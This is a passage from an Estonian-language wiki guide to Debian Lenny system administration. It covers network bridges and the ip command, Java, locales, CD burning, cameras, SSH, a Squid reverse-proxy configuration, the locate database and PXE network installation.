  designated cost           0                    hold timer                 0.48&lt;br /&gt;
  flags&lt;br /&gt;
&lt;br /&gt;
kust on näha, et &lt;br /&gt;
&lt;br /&gt;
* antud juhtumil on silla üks komponent välja lülitatud&lt;br /&gt;
&lt;br /&gt;
Sillaga seotud mac aadresside esitamiseks tuleb öelda&lt;br /&gt;
&lt;br /&gt;
 # brctl showmacs br0&lt;br /&gt;
 port no mac addr                is local?       ageing timer&lt;br /&gt;
   2     00:06:4f:32:00:35       yes                0.00&lt;br /&gt;
   1     00:06:4f:63:e3:d7       yes                0.00&lt;br /&gt;
   2     00:0c:42:07:1a:45       no                 0.04&lt;br /&gt;
   2     00:16:3e:00:00:01       no                83.98&lt;br /&gt;
   2     00:1c:c0:38:89:07       no                22.58&lt;br /&gt;
   2     70:01:68:00:11:45       no               227.43&lt;br /&gt;
   2     70:01:68:01:02:49       no                33.48&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* http://en.wikipedia.org/wiki/Bridging_(networking)&lt;br /&gt;
* http://tldp.org/HOWTO/BRIDGE-STP-HOWTO/index.html&lt;br /&gt;
* http://en.wikipedia.org/wiki/Spanning_tree_protocol&lt;br /&gt;
* http://en.wikipedia.org/wiki/LAN_switching&lt;br /&gt;
* http://backreference.org/2010/07/28/linux-bridge-mac-addresses-and-dynamic-ports/&lt;br /&gt;
&lt;br /&gt;
===Võrgu seadistamine programmiga ip===&lt;br /&gt;
&lt;br /&gt;
Programm ip võimaldab Linuxi kaasaegsetes 2.4 ja 2.6 tuumades sisalduva võrguliideste toega oluliselt  paindlikumalt ümber käia&lt;br /&gt;
kui ifconfig. Näited käsudest, mida on ohutu anda töötavas masinas.&lt;br /&gt;
&lt;br /&gt;
====Seadmed====&lt;br /&gt;
&lt;br /&gt;
 # ip link show&lt;br /&gt;
 1: lo:  mtu 16436 qdisc noqueue &lt;br /&gt;
     link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
 2: eth0:  mtu 1500 qdisc pfifo_fast qlen 1000&lt;br /&gt;
     link/ether 00:07:e9:0b:d3:26 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
&lt;br /&gt;
====Seadme aadressid====&lt;br /&gt;
&lt;br /&gt;
Aadresside esitamine&lt;br /&gt;
&lt;br /&gt;
 # ip address show eth1&lt;br /&gt;
   3: eth1:  mtu 1500 qdisc pfifo_fast qlen 1000&lt;br /&gt;
      link/ether 00:07:e9:0b:d3:d3 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
      inet 10.0.6.5/24 brd 10.0.6.255 scope global eth1&lt;br /&gt;
      inet 10.0.6.6/24 brd 10.0.6.255 scope global secondary eth1:1 &lt;br /&gt;
&lt;br /&gt;
====Ruuting====&lt;br /&gt;
&lt;br /&gt;
Ruutingute esitamine&lt;br /&gt;
&lt;br /&gt;
 # ip route show&lt;br /&gt;
  10.0.5.0/24 dev eth3  proto kernel  scope link  src 10.0.5.1 &lt;br /&gt;
  10.0.6.0/24 dev eth0  proto kernel  scope link  src 10.0.6.1 &lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
Ruutingu lisamine&lt;br /&gt;
&lt;br /&gt;
 # ip route add 192.168.10/24 dev eth0&lt;br /&gt;
&lt;br /&gt;
Ruutingu eemaldamine&lt;br /&gt;
&lt;br /&gt;
 # ip route del default via 10.0.14.1 dev eth0&lt;br /&gt;
&lt;br /&gt;
====Misc====&lt;br /&gt;
&lt;br /&gt;
Näited kästudest, mida on ehk ohutu anda töötava masina kasutuses mitte olema võrguseadme suhtes&lt;br /&gt;
&lt;br /&gt;
 # ip addr add 100.100.100.4/16 dev eth4&lt;br /&gt;
 # ip addr del 100.100.100.4/16 dev eth4&lt;br /&gt;
&lt;br /&gt;
nn ifconfig'i aliased &lt;br /&gt;
&lt;br /&gt;
Osade teadlaste arvates on see tänapäeval täiesti igand rääkida ethx:x aliastest. Et lihtsalt saab seadmele omistada mitu aadressi ja kogu lugu. Kui aga on juhtunud selline õnnetu lugu, et seadmel on nt eth0:1 aadress, siis saab seda eemaldada lihtsalt sedasi&lt;br /&gt;
&lt;br /&gt;
 # ip addr del 195.80.96.214 dev eth0&lt;br /&gt;
&lt;br /&gt;
===Java kasutamine===&lt;br /&gt;
&lt;br /&gt;
Java ehk JVM (Java Virtual Machine) tarkvara kasutamiseks on Debianis mitmeid võimalusi. Kui on kavatsus jääda paketihaldusest paigaldatud tarkvara kasutamise juurde, siis tõenäoliselt  on otstarbekas lasta paketihaldusel töötada ja kasutada Debiani Java pakette. Kui aga kasutatakse mingit eraldiseisvat tarkvara, nt Tomcat, GlassFish vms Java rakendusserverit, siis on ehk otstarbekas kasutada http://java.sun.com/ veebikohast kopeeritud Javat.&lt;br /&gt;
&lt;br /&gt;
====Java kasutamine paketihaldusest====&lt;br /&gt;
&lt;br /&gt;
Debiani Lenny paketihalduses on olemas sellised Java kompilaatorit sisaldavad Java implementatsioonid&lt;br /&gt;
&lt;br /&gt;
  $ aptitude search &amp;quot;?provides(java-compiler)&amp;quot;&lt;br /&gt;
  p   gcj             - The GNU Java compiler                                                   &lt;br /&gt;
  p   gcj-4.2         - The GNU compiler for Java(TM)                                           &lt;br /&gt;
  p   gcj-4.3         - The GNU compiler for Java(TM)                                           &lt;br /&gt;
  p   jikes-classpath - clean room standard Java libraries - wrapper for jikes                  &lt;br /&gt;
  p   jikes-kaffe     - Wrapper for jikes using Kaffe classes                                   &lt;br /&gt;
  p   kaffe-jthreads  - A green threads enabled version of the Kaffe VM                         &lt;br /&gt;
  p   kaffe-pthreads  - A POSIX threads enabled version of the Kaffe VM                         &lt;br /&gt;
  p   sun-java5-jdk   - Sun Java(TM) Development Kit (JDK) 5.0                                  &lt;br /&gt;
  p   sun-java6-jdk   - Sun Java(TM) Development Kit (JDK) 6&lt;br /&gt;
&lt;br /&gt;
Tarkvara paigaldatakse nagu ikka Debiani pakett ning kasutatakse nagu ikka Javat.&lt;br /&gt;
&lt;br /&gt;
====Sun Java kasutamine====&lt;br /&gt;
&lt;br /&gt;
Sun on Java autor ja üks oluline edasiarendaja, kuid on ka teisi Java implementatsioone. Sun Java saab kasutaja kopeerida aadressilt http://java.sun.com/ kus saab tutvuda ka Java kasutustingimustega.&lt;br /&gt;
&lt;br /&gt;
Sun jagab Javat üsna erinevates pakendustes, kusjuures erinevus on kolmel nö teljel&lt;br /&gt;
&lt;br /&gt;
* millisele funktsionaalsusele on orieteeritud - SE (Standard Edition), EE (Enterprise Edition), ME (Micro Edition)&lt;br /&gt;
* kas tegu on arendusvahendi või nö kasutusvahendiga - nt SDK (Software development kit) vs JRE (Java Runtime Environment), viimane sisaldub esimeses&lt;br /&gt;
* versiooninumber&lt;br /&gt;
&lt;br /&gt;
Erinevad versioonid 2009 suve seisuga&lt;br /&gt;
&lt;br /&gt;
* 1.3 - vana versioon, mida kasutavad ehk vaid mõned nö riistvaras javat sisaldavad seadmed&lt;br /&gt;
* 1.4 - mõned nö legacy rakendustega Tomcat rakendusserverid võiksid seda veel kasutada&lt;br /&gt;
* 5 (vahel nimetatakse 1.5) - täiesti veel kasutuses, mõnda rakendust soovitatakse kasutada sellel versioonil&lt;br /&gt;
* 6 (vahel nimetatakse 1.6) - viimane stabiilne versioon&lt;br /&gt;
&lt;br /&gt;
Tundub, et juhtumil kui ei ole teada millist Javat kasutada, siis on sobiv valida SE SDK versioon 1.6, mille saab kopeerida http://java.sun.com/ veebikohast liikudes&lt;br /&gt;
&lt;br /&gt;
  Downloads -&amp;gt; Java SE -&amp;gt; Java SE Development Kit (JDK 6 Update 16) -&amp;gt; Download&lt;br /&gt;
&lt;br /&gt;
ning täpsustada platvorm, nt&lt;br /&gt;
&lt;br /&gt;
* Linux64 - 64 bit Linux&lt;br /&gt;
* Linux - 32 bit Linux&lt;br /&gt;
&lt;br /&gt;
Seejärel valida nimekirjast .bin&lt;br /&gt;
&lt;br /&gt;
  File Description              Name                            Size&lt;br /&gt;
  Java SE Development Kit 6u16  jdk-6u16-linux-x64-rpm.bin 	74.04 MB&lt;br /&gt;
  Java SE Development Kit 6u16  jdk-6u16-linux-x64.bin          78.08 MB&lt;br /&gt;
&lt;br /&gt;
Kasutamiseks tuleb otsustada, millises kataloogis JVM asuma hakkab, olgu see nt /usr/local/java6, selleks tuleb minna juurkasutajana kataloogi /usr/local&lt;br /&gt;
&lt;br /&gt;
  # cd /usr/local&lt;br /&gt;
  # sh jdk-6u16-linux-x64.bin&lt;br /&gt;
  vastata küsimustele jaatavalt&lt;br /&gt;
  # ln -s /usr/local/tekkinud-katalooginimi /usr/local/java6&lt;br /&gt;
&lt;br /&gt;
Java kasutamiseks tuleb seada ja kui peetakse vajalikuks, lisada teele&lt;br /&gt;
&lt;br /&gt;
  $ export JAVA_HOME=/usr/local/java6&lt;br /&gt;
  $ export PATH=/usr/local/java6/bin:$PATH&lt;br /&gt;
&lt;br /&gt;
Seejärel saab nt küsida Java versiooni öeldes&lt;br /&gt;
&lt;br /&gt;
  $ /usr/local/java6/bin/java -version&lt;br /&gt;
  java version &amp;quot;1.6.0_16&amp;quot;&lt;br /&gt;
  Java(TM) SE Runtime Environment (build 1.6.0_16-b01)&lt;br /&gt;
  Java HotSpot(TM) 64-Bit Server VM (build 11.3-b02, mixed mode)&lt;br /&gt;
&lt;br /&gt;
====Iceweaseli Java lisa====&lt;br /&gt;
&lt;br /&gt;
Iceweaseli ehk Firefox 3.x versiooniga java kasutamiseks on i386 keskkonnas olemas plugin&lt;br /&gt;
&lt;br /&gt;
  # apt-get install sun-java5-plugin&lt;br /&gt;
&lt;br /&gt;
või &lt;br /&gt;
&lt;br /&gt;
  # apt-get install sun-java6-plugin&lt;br /&gt;
&lt;br /&gt;
===Lokaat===&lt;br /&gt;
&lt;br /&gt;
Lokaatide kasutamiseks tuleb paigalda pakett locales &lt;br /&gt;
&lt;br /&gt;
  # apt-get install locales&lt;br /&gt;
&lt;br /&gt;
ning edasiseks seadistamiseks saab öelda, asjakohased seadistusfailid on iseenesest /etc/environment ning /etc/default/locale&lt;br /&gt;
&lt;br /&gt;
  # dpkg-reconfigure locales&lt;br /&gt;
&lt;br /&gt;
Süsteemi vaikelokaat võiks olla ehk C serverite puhul, aga see on kasutaja otsustada kuidas ta paremaks peab.&lt;br /&gt;
&lt;br /&gt;
Lokaatide nimekirja esitamiseks tuleb öelda, nt selline võiks olla üsna tüüpiline tulemus&lt;br /&gt;
&lt;br /&gt;
  # locale -a&lt;br /&gt;
  C&lt;br /&gt;
  POSIX&lt;br /&gt;
  et_EE.utf8&lt;br /&gt;
&lt;br /&gt;
Kui seadistada lisaks nt ru_RU.utf8 ja fr_FR.utf8, siis saab lugeda vene ja prantsuse keelseid manuaale. Nt öeldes nö tavalises xtermis&lt;br /&gt;
&lt;br /&gt;
 $ export LANG=fr_FR.utf8&lt;br /&gt;
 $ uxterm&lt;br /&gt;
&lt;br /&gt;
mis paistab selline&lt;br /&gt;
&lt;br /&gt;
[[Pilt:Os-debian-kasutamine-1.gif]]&lt;br /&gt;
&lt;br /&gt;
Lisaks töötab nt w3m ja lynx uxterm aknas vene keeles.&lt;br /&gt;
&lt;br /&gt;
===CD plaadi kirjutamine===&lt;br /&gt;
&lt;br /&gt;
Niisama plaadile  kirjutamiseks tuleb esmalt moodustada failidest tõmmis öeldes näiteks&lt;br /&gt;
&lt;br /&gt;
  # genisoimage -o ../tommis.iso .&lt;br /&gt;
&lt;br /&gt;
ning seejärel kopeerida tõmmis plaadile öeldes&lt;br /&gt;
&lt;br /&gt;
  # cdrecord -v speed=10 dev=/dev/cdrom tommis.iso&lt;br /&gt;
&lt;br /&gt;
Kui tegu on RW plaadiga, siis ennem järgmist kirjutamist tuleb plaat puhastada käsuga&lt;br /&gt;
&lt;br /&gt;
  # cdrecord -v dev=/dev/cdrom blank=fast&lt;br /&gt;
&lt;br /&gt;
Squeeze puhul&lt;br /&gt;
&lt;br /&gt;
 # apt-get install wodim&lt;br /&gt;
 # wodim -v speed=8 dev=/dev/sr0 tommis.iso&lt;br /&gt;
&lt;br /&gt;
korduvkirjutatava plaadi kustutamiseks&lt;br /&gt;
&lt;br /&gt;
 # wodim -v dev=/dev/cdrom blank=fast&lt;br /&gt;
&lt;br /&gt;
===Klaviatuuriasetus konsoolil===&lt;br /&gt;
&lt;br /&gt;
Klaviatuuriasetuse muutmiseks tuleb öelda&lt;br /&gt;
&lt;br /&gt;
  # dpkg-reconfigure console-data&lt;br /&gt;
&lt;br /&gt;
ning valida sobiv asetus. NB! Ka mac'i asetus on olemas.&lt;br /&gt;
&lt;br /&gt;
===OpenSSL probleem===&lt;br /&gt;
&lt;br /&gt;
2008 aasta kevadel ilmnes, et Debiani arendajad olid OpenSSL tarkvara pakendamisel tekitanud avalike võtmete genereerimist puudutavas osas vea, mille tõttu osa varasemalt Debian Etch abil tekitatud võtmeid ja sertifikaate on ärakasutatavad. Kas konkreetne sertifikaat on haavatav saab kontrollida programmiga openssl-vulnkey. Esmalt tuleb paigaldada Backportsidest pakett openssl-blacklist ning öelda&lt;br /&gt;
&lt;br /&gt;
  # cat sertifikaat.pem | openssl-vulnkey -&lt;br /&gt;
  COMPROMISED: b3409bf40c63d0d8fc3e1625e9cac2076e20d1e7 -&lt;br /&gt;
&lt;br /&gt;
===Helikaardi kastumine===&lt;br /&gt;
&lt;br /&gt;
Kui helikaart on arvutisse füüsiliselt paigaldatud, siis vajadusel saab SoX tarkvara utiliitide abil kontrollida, kas heli salvestamine mikrofoni abil ja heli taasesitamine töötavad.&lt;br /&gt;
&lt;br /&gt;
Sox tarkvara paigaldamiseks tuleb öelda&lt;br /&gt;
&lt;br /&gt;
  # apt-get install sox&lt;br /&gt;
&lt;br /&gt;
Salvestamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
  # rec -t .wav /tmp/failinimi.wav&lt;br /&gt;
&lt;br /&gt;
Taasesitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
  # play /tmp/failinimi.wav&lt;br /&gt;
&lt;br /&gt;
Lisaks on asjakohane kasutada mikserit, nt aumix või alsamixer, just mikrofoni sisselülitamiseks, käivitades xtermi aknas võiks paista selline pilt, vajadusel käivitamisel näidata seadme number, nt&lt;br /&gt;
&lt;br /&gt;
 # alsamixer -c 1&lt;br /&gt;
&lt;br /&gt;
[[Pilt:Alsamixer-1.gif]]&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* F6 abil saab valida helikaarti, sh virtuaalset (PulseAudio)&lt;br /&gt;
&lt;br /&gt;
===Digifotokaamera kasutamine===&lt;br /&gt;
&lt;br /&gt;
Tänapäeval on levinud nn digitaalsed fotokaamerad, mida saab ühendada arvutiga USB liidese abil selleks, et kopeerida arvutisse fotoaparaadi flash diskile salvestatud pildid. Üks populaarne tarkvara, mis võimaldab suhelda fotokaameraga on gphoto2 http://gphoto.sourceforge.net/.&lt;br /&gt;
&lt;br /&gt;
Tarkvara paigaldamiseks tuleb öelda&lt;br /&gt;
&lt;br /&gt;
  # apt-get install gphoto2&lt;br /&gt;
&lt;br /&gt;
Graafiline nö pealisehitus gphoto2 tarkvarale on gtkam, mille paigaldamiseks tuleb öelda&lt;br /&gt;
&lt;br /&gt;
  # apt-get install gtkam&lt;br /&gt;
&lt;br /&gt;
Piltide kopeerimiseks tuleb kaamera ühendada arvutiga ning lülitada piltide kopeerimise režiimile, operatsioonisüsteem peaks seejärel USB seadme ära tundma&lt;br /&gt;
&lt;br /&gt;
  # lsusb&lt;br /&gt;
  ...&lt;br /&gt;
  Bus 001 Device 006: ID 04a9:309a Canon, Inc. PowerShot A80&lt;br /&gt;
  Bus 001 Device 001: ID 0000:0000&lt;br /&gt;
&lt;br /&gt;
Peale gtkam programmi käivitamist peaks gtkam suutma avastada kaamera ning esitama sarnase kasutajaliidese&lt;br /&gt;
&lt;br /&gt;
[[Pilt:Gtkam-1.gif]]&lt;br /&gt;
&lt;br /&gt;
gphoto2 programmi abil saab kaamerat otsekohesemalt juhtida, aga eeldusel, et gtkam või mõni muu programm seda ei kasuta. Nt saab küsida kaamera kohta kokkuvõtet öeldes&lt;br /&gt;
&lt;br /&gt;
  # gphoto2 --summary&lt;br /&gt;
  Camera summary:                                                                &lt;br /&gt;
  Model: Canon PowerShot A80&lt;br /&gt;
    device version: 01.0001&lt;br /&gt;
    serial number:  (null)&lt;br /&gt;
  Vendor extension ID: 0x0000000b&lt;br /&gt;
  Vendor extension description: (null)&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
või kopeerida kõik failid kaamerast failisüsteemi käesolevasse kataloogi&lt;br /&gt;
&lt;br /&gt;
  # gphoto2 --get-all-files&lt;br /&gt;
  Downloading 'IMG_3601.JPG' from folder '/store_00010001/DCIM/236CANON'...&lt;br /&gt;
  Saving file as IMG_3601.JPG&lt;br /&gt;
  Downloading 'IMG_3602.JPG' from folder '/store_00010001/DCIM/236CANON'...&lt;br /&gt;
  Saving file as IMG_3602.JPG      &lt;br /&gt;
  ..&lt;br /&gt;
&lt;br /&gt;
Android telefonist vms seadmest kopeerimisel on praktiline näidata kataloog, nt Google Nexus 5 nutitelefon puhul&lt;br /&gt;
&lt;br /&gt;
 $ gphoto2 --get-all-files -f /store_00010001/DCIM/Camera&lt;br /&gt;
&lt;br /&gt;
Sony Xperia tahvelarvutiga&lt;br /&gt;
&lt;br /&gt;
 $ gphoto2 --get-all-files -f /store_00010001/DCIM/100ANDRO&lt;br /&gt;
&lt;br /&gt;
Kui seadme ühendamise ta nö mountitakse, siis võib olla vajalik ta File Manager programmis vms kohal lahti lasta.&lt;br /&gt;
&lt;br /&gt;
===SSH kasutamine===&lt;br /&gt;
&lt;br /&gt;
Kui Debian on juhtumisi paigaldatud Networkless siis puudub vaikimisi openssh-server, selle paigaldamiseks tuleb öelda käsk&lt;br /&gt;
&lt;br /&gt;
 # apt-get install openssh-server&lt;br /&gt;
&lt;br /&gt;
Mille järel starditakse server ka automaatselt, kasutaja mureks on vaid sisse logida.&lt;br /&gt;
&lt;br /&gt;
Kui Debian Lenny ssh kliendiga sisselogimine teistesse süsteemidesse on muutunud rahulikuks (nt vana RedHat 4 ES või Solaris 10 ssh serverid oma default väärtustega) ning -v võtmega käivitatud klient ütleb muu seas&lt;br /&gt;
&lt;br /&gt;
  debug1: Authentications that can continue: gssapi-keyex,\&lt;br /&gt;
    gssapi-with-mic,publickey,password,keyboard-interactive&lt;br /&gt;
  debug1: Next authentication method: gssapi-keyex&lt;br /&gt;
  debug1: No valid Key exchange context&lt;br /&gt;
  debug1: Next authentication method: gssapi-with-mic&lt;br /&gt;
  debug1: Unspecified GSS failure.  Minor code may provide more information&lt;br /&gt;
  No credentials cache found&lt;br /&gt;
  &lt;br /&gt;
  debug1: Unspecified GSS failure.  Minor code may provide more information&lt;br /&gt;
  No credentials cache found&lt;br /&gt;
&lt;br /&gt;
siis aitab kliendi seadistusfailis, nt /etc/ssh/ssh_config kasutada selliselt seadistatud parameetrit&lt;br /&gt;
&lt;br /&gt;
  GSSAPIAuthentication no&lt;br /&gt;
&lt;br /&gt;
===Veebikaamera kasutamine===&lt;br /&gt;
&lt;br /&gt;
Veebikaamera on väike videokaamera, mis tavaliselt ühendatakse arvutiga USB abil ning teda sobib kasutada nt Skype programmi juures enda visuaalseks reaalajas esitlemiseks. &lt;br /&gt;
&lt;br /&gt;
Veebikaamera kasutamise ettevalmistamisel peab peale kaamera arvutiga ühendamist ilmuma USB seadmete nimekirja uus seade, midagi sellist&lt;br /&gt;
&lt;br /&gt;
  # lsusb&lt;br /&gt;
  ..&lt;br /&gt;
  Bus 001 Device 003: ID 046d:092e Logitech, Inc. QuickCam Chat&lt;br /&gt;
&lt;br /&gt;
Selle spca5xx chipsetiga Logitechi QuickCam Chat veebikaamera kasutamiseks tuleb paigaldada Lennile vastav draiver valides sobiva, st oma tuuma platvormile sobiva tuumamooduli, nt&lt;br /&gt;
&lt;br /&gt;
  # apt-get install gspca-modules-2.6-686&lt;br /&gt;
&lt;br /&gt;
Lisaks peab see kasutaja, kelle alt Skype programm töötab kuuluma video gruppi, vajadusel tuleb redigeeerida /etc/group faili&lt;br /&gt;
&lt;br /&gt;
  # grep video /etc/group&lt;br /&gt;
  video:x:44:kasutajanimi&lt;br /&gt;
&lt;br /&gt;
Kui kasutaja määrati gruppi kuuluma, siis tuleb korraks süsteemist logida välja ja tagasi sisse, et gruppikuuluvus kehtestuks. Valides seejärel Skype programmi Options peaks olema kaamera kasutamise võimalus olemas&lt;br /&gt;
&lt;br /&gt;
[[Pilt:Veebikaamera-1.gif]]&lt;br /&gt;
&lt;br /&gt;
Veebikaamerat oskavad kasutada lisaks mitmed muud programmid, nt Cheese (gnome komponent), Gqcam.&lt;br /&gt;
&lt;br /&gt;
===Mälukaartide kasutamine===&lt;br /&gt;
&lt;br /&gt;
Nn mälukäärte esineb külluses, need mis ühendatakse arvutile külge USB liidese kaudu, kas otse või nö lugeja abil paistavad operatsioonisüsteemile tavaliselt SCSI seadmena. Seega, kasutamiseks tavaliselt piisab teha kindlaks dmesg väljundi lõpust millise nimega /dev/sdx seade on juurde tekkinud ning monteerida seejärel ta külge, nt&lt;br /&gt;
&lt;br /&gt;
  # mount /dev/sdc1 /mnt/malukaart&lt;br /&gt;
&lt;br /&gt;
===Squid v. 3 kasutamine===&lt;br /&gt;
&lt;br /&gt;
Lenny paketihaldusest saab paigaldada Squid v. 3 tarkvara öeldes&lt;br /&gt;
&lt;br /&gt;
  # apt-get install squid3&lt;br /&gt;
&lt;br /&gt;
====Kasutamine kiirendina====&lt;br /&gt;
&lt;br /&gt;
Squid3 kiirendina kasutamiseks sobib kasutada sellist seadistusfaili&lt;br /&gt;
&lt;br /&gt;
  cache_dir ufs /var/spool/squid3 768 16 256&lt;br /&gt;
  http_port 10.0.6.249:80 defaultsite=www.siseministeerium.ee vhost&lt;br /&gt;
  icp_port 0&lt;br /&gt;
  &lt;br /&gt;
  cache_peer 10.0.6.95 parent 80 0 no-query originserver name=www100695 login=PASS&lt;br /&gt;
  acl sites_www_100695 dstdomain src &amp;quot;/etc/squid3/sites_www100695.txt&amp;quot;&lt;br /&gt;
  cache_peer_access www100695 allow sites_www_100695&lt;br /&gt;
  &lt;br /&gt;
  cache_peer 10.0.6.96 parent 80 0 no-query originserver name=www100696 login=PASS&lt;br /&gt;
  acl sites_www_100696 dstdomain src &amp;quot;/etc/squid3/sites_www100696.txt&amp;quot;&lt;br /&gt;
  cache_peer_access www100696 allow sites_www_100696&lt;br /&gt;
  &lt;br /&gt;
  acl all src 0.0.0.0/0.0.0.0&lt;br /&gt;
  acl localhost src 127.0.0.1/255.255.255.255 10.0.0.0/255.255.255.0&lt;br /&gt;
  acl Safe_ports port 80          # http&lt;br /&gt;
  &lt;br /&gt;
  http_access deny !Safe_ports&lt;br /&gt;
  http_access allow all&lt;br /&gt;
  &lt;br /&gt;
  access_log /var/log/squid3/access.log squid&lt;br /&gt;
  emulate_httpd_log       on&lt;br /&gt;
&lt;br /&gt;
===locate andmebaas===&lt;br /&gt;
&lt;br /&gt;
Vaikimisi moodustab Debian updatedb programmi käivitamisel cron'ist nn locate andmebaasi, milles sisaduvad süsteemis leiduvate failid nimed. Seda andmebaasi saab kasutada nt selliselt&lt;br /&gt;
&lt;br /&gt;
  # locate .bash_history&lt;br /&gt;
  /root/.bash_history&lt;br /&gt;
  /srv/backup/500g-vint/home/mart/.bash_history&lt;br /&gt;
&lt;br /&gt;
locate andmebaas võib osutuda mitmel juhul ebasoovitavaks&lt;br /&gt;
&lt;br /&gt;
* andmebaasi salvestatakse andmed, mis seal ei peaks sisalduma; nt kui veebiserveri kasutajana saab käivitada programme, siis annab see baas ilmselt soovimatut lisainfot kasutajale ühe või teise faili olemasolust ja asukohast failisüsteemis&lt;br /&gt;
* locale andmebaasi moodustatakse väga suure mahuga andmetest iga päev uuesti ning see raiskab ilmselt ressurssi&lt;br /&gt;
&lt;br /&gt;
updatedb programm käivitatakse skripti&lt;br /&gt;
&lt;br /&gt;
  /etc/cron.daily/mlocate&lt;br /&gt;
&lt;br /&gt;
abil ning updatedb tööd saab kontrollida seadistusfaili abil, eriti, milliseid katalooge andmebaasi koostamisel kasutatakse&lt;br /&gt;
&lt;br /&gt;
  /etc/updatedb.conf&lt;br /&gt;
&lt;br /&gt;
===Operatsioonisüsteemi paigaldamine võrgust===&lt;br /&gt;
&lt;br /&gt;
Operatsioonisüsteemi võrgust paigaldamine eeldab arusaadavalt paigaldamise ajal võrguühenduse olemasolu, soovitavalt nö hea ühenduse olemasolu. Debian Lenny operatsioonisüsteemi saab paigaldada võrgust kolmel viisil&lt;br /&gt;
&lt;br /&gt;
* business card CD tõmmis (ca 40 MB) - sisaldab tuuma ja installerit&lt;br /&gt;
* minimaalse sisu CD tõmmis (ca 180 MB) - sisaldab tuuma, installerit ning minimaalset hulka pakette&lt;br /&gt;
* TFTP serverilt paigaldamine - tuuma ja ramdisk booditakse TFTP serverilt&lt;br /&gt;
&lt;br /&gt;
Vaatamata sellele kui palju kasutati kohalikku abi, st lokaalset meediat või TFTP serverit toimub süsteemi mahukama osa moodustava tarkvara kopeerimine paigaldamise ajal võrgust.&lt;br /&gt;
&lt;br /&gt;
Võrgust paigaldamine võiks eriti sobida üle IBM IMM ja HP iLO liideste tarvkara paigaldamisel.&lt;br /&gt;
&lt;br /&gt;
====Paigaldamine TFTP serverilt====&lt;br /&gt;
&lt;br /&gt;
Üks võimalus Debiani paigaldada on täiesti ilma lokaalse meediate st võrgust, kuid eeldusel, et arvuti omab PXE võimelist võrgukaarti.&lt;br /&gt;
&lt;br /&gt;
Selleks tuleb kopeerida aadressilt tftp serveris kasutamiseks ettevalmistatud kataloogi sisu&lt;br /&gt;
&lt;br /&gt;
  # wget -np -r http://ftp.nl.debian.org/debian/dists/lenny/main/installer-i386/current/images/netboot/debian-installer/i386/&lt;br /&gt;
&lt;br /&gt;
ning paigutada lokaalvõrgus asuvasse tftp serverisse, nt kataloogi /tftpbood&lt;br /&gt;
&lt;br /&gt;
  # find /tftpboot&lt;br /&gt;
  /tftpboot &lt;br /&gt;
  /tftpboot/debian-installer&lt;br /&gt;
  /tftpboot/debian-installer/i386&lt;br /&gt;
  /tftpboot/debian-installer/i386/boot-screens&lt;br /&gt;
  /tftpboot/debian-installer/i386/boot-screens/exithelp.cfg&lt;br /&gt;
  /tftpboot/debian-installer/i386/boot-screens/adtxt.cfg&lt;br /&gt;
  /tftpboot/debian-installer/i386/boot-screens/index.html&lt;br /&gt;
  /tftpboot/debian-installer/i386/boot-screens/f1.txt&lt;br /&gt;
  /tftpboot/debian-installer/i386/boot-screens/f10.txt&lt;br /&gt;
  /tftpboot/debian-installer/i386/boot-screens/f2.txt&lt;br /&gt;
  /tftpboot/debian-installer/i386/boot-screens/f3.txt&lt;br /&gt;
  /tftpboot/debian-installer/i386/boot-screens/f4.txt&lt;br /&gt;
  /tftpboot/debian-installer/i386/boot-screens/f5.txt&lt;br /&gt;
  /tftpboot/debian-installer/i386/boot-screens/f6.txt&lt;br /&gt;
  /tftpboot/debian-installer/i386/boot-screens/f7.txt&lt;br /&gt;
  /tftpboot/debian-installer/i386/boot-screens/f8.txt&lt;br /&gt;
  /tftpboot/debian-installer/i386/boot-screens/f9.txt&lt;br /&gt;
  /tftpboot/debian-installer/i386/boot-screens/syslinux.cfg&lt;br /&gt;
  /tftpboot/debian-installer/i386/boot-screens/menu.cfg&lt;br /&gt;
  /tftpboot/debian-installer/i386/boot-screens/prompt.cfg&lt;br /&gt;
  /tftpboot/debian-installer/i386/boot-screens/splash.png&lt;br /&gt;
  /tftpboot/debian-installer/i386/boot-screens/stdmenu.cfg&lt;br /&gt;
  /tftpboot/debian-installer/i386/boot-screens/vesamenu.c32&lt;br /&gt;
  /tftpboot/debian-installer/i386/boot-screens/txt.cfg&lt;br /&gt;
  /tftpboot/debian-installer/i386/index.html&lt;br /&gt;
  /tftpboot/debian-installer/i386/initrd.gz&lt;br /&gt;
  /tftpboot/debian-installer/i386/linux&lt;br /&gt;
  /tftpboot/pxelinux.0&lt;br /&gt;
  /tftpboot/pxelinux.cfg&lt;br /&gt;
  /tftpboot/pxelinux.cfg/index.html&lt;br /&gt;
  /tftpboot/pxelinux.cfg/default&lt;br /&gt;
&lt;br /&gt;
Lisaks tuleb valmistada ette sobivalt dchp server, nt sellise host kirjeldusega, next-server 192.168.1.254 on tftpd server&lt;br /&gt;
&lt;br /&gt;
  host fuji.auul {&lt;br /&gt;
    hardware ethernet 00:17:42:02:0b:8a;&lt;br /&gt;
    fixed-address 192.168.1.142;&lt;br /&gt;
    option broadcast-address 192.168.1.255;&lt;br /&gt;
    option routers 192.168.1.254;&lt;br /&gt;
    filename &amp;quot;pxelinux.0&amp;quot;;&lt;br /&gt;
    next-server 192.168.1.254;&lt;br /&gt;
    option domain-name-servers 192.168.1.254;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Tulemusena peab installeeritav arvuti saama dhcp serverilt omale võrguseaded, alglaadima tftp serverilt operatsioonisüsteemi ning käivitama installeri. Edasine paigaldamine toimub tavapärasel viisil, kusjuures installer küsib Debiani peegel-serveri asukohta, millelt kopeeritakse tarkvara.&lt;br /&gt;
&lt;br /&gt;
===CVS tarkvara kasutamine===&lt;br /&gt;
&lt;br /&gt;
CVS tarkvara saab kasutada mitmel moel, antud juhul on tegemist selliste asjaoludega&lt;br /&gt;
&lt;br /&gt;
* CVS töötab nn pserver rezhiimis, mis tähendab, et teenus kuulab 2401 pordil ja liiklus on krüptimata&lt;br /&gt;
